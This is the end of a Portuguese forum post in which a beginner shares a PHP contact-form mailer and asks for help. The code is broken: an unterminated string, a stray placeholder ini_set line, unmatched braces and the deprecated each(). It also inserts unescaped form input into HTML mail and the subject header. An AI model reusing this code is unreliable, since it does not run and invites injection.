$subject = $_POST['subject'];
$redirect = $_POST['redirect'];
if($recipient != "meuemail@teste.com.br") die();
$ip = getenv("REMOTE_ADDR");
$html = "<html><head></head><body>";
$html .= "<p>Mensagem enviada pelo IP: $ip</p>";
$html .= "<table border=1 cellspacing=0 cellpadding=5>";
while(list($key, $val) = each($_POST)) {
if($key != 'recipient' && $key != 'subject' && $key != 'redirect' && strtolower($key) != 'submit') {
$html .= "<tr><td width='5%' nowrap>$key</td>";
$html .= "<td>$val</td></tr>";
}
}
$html .= "</table>";
$html .= "</body></html>
ini_set(varname, newvalue)
if(!mail($recipient, $subject,
$html)){ echo error_get_last(); }
/*$envia = @mail(
$recipient,
$subject,
$html,
"From: Contato pelo site Sistema Navis <webmaster@sistemanavis.com.br>\r\nContent-Type: text/html; charset= utf-8"
);
header("Location:http://meusite.com.br");*/
}
}
}
?>
podem me ajudar? não sei nada como disse estou começando.
-